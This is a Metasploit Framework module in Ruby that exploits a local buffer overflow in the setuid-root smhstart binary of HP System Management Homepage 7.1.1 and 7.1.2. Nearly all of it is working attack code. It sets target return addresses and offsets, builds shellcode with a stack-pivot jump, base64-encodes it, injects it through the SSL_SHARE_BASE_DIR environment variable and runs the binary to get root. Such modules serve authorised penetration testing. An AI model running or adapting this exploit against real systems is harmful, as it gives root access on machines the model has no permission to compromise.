HP System Management Homepage Local Privilege Escalation

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/exploit/local/linux'  
require 'msf/core/exploit/exe'  
  
class Metasploit4 < Msf::Exploit::Local  
  
include Msf::Exploit::EXE  
include Msf::Post::File  
include Msf::Post::Common  
  
include Msf::Exploit::Local::Linux  
  
def initialize(info={})  
super( update_info( info, {  
'Name' => 'HP System Management Homepage Local Privilege Escalation',  
'Description' => %q{  
Versions of HP System Management Homepage <= 7.1.2 include a setuid root  
smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR  
env variable.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'agix' # @agixid # Vulnerability discovery and Metasploit module  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86 ],  
'SessionTypes' => [ 'shell' ],  
'Payload' =>  
{  
'Space' => 227,  
'BadChars' => "\x00\x22"  
},  
'References' =>  
[  
['OSVDB', '91990']  
],  
'Targets' =>  
[  
[ 'HP System Management Homepage 7.1.1',  
{  
'Arch' => ARCH_X86,  
'CallEsp' => 0x080c86eb, # call esp  
'Offset' => 58  
}  
],  
[ 'HP System Management Homepage 7.1.2',  
{  
'Arch' => ARCH_X86,  
'CallEsp' => 0x080c8b9b, # call esp  
'Offset' => 58  
}  
],  
],  
'DefaultOptions' =>  
{  
'PrependSetuid' => true  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => "Mar 30 2013",  
}  
))  
register_options([  
OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])  
], self.class)  
end  
  
def exploit  
pl = payload.encoded  
padding = rand_text_alpha(target['Offset'])  
ret = [target['CallEsp']].pack('V')  
exploit = pl  
exploit << ret  
exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff11  
exploit << "\xe9\x0e\xff\xff\xff" # jmp => begining of pl  
exploit << padding  
exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better  
id=cmd_exec("id -un")  
if id!="hpsmh"  
fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")  
end  
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")  
cmd_exec("#{datastore['smhstartDir']}/smhstart")  
end  
  
end  
`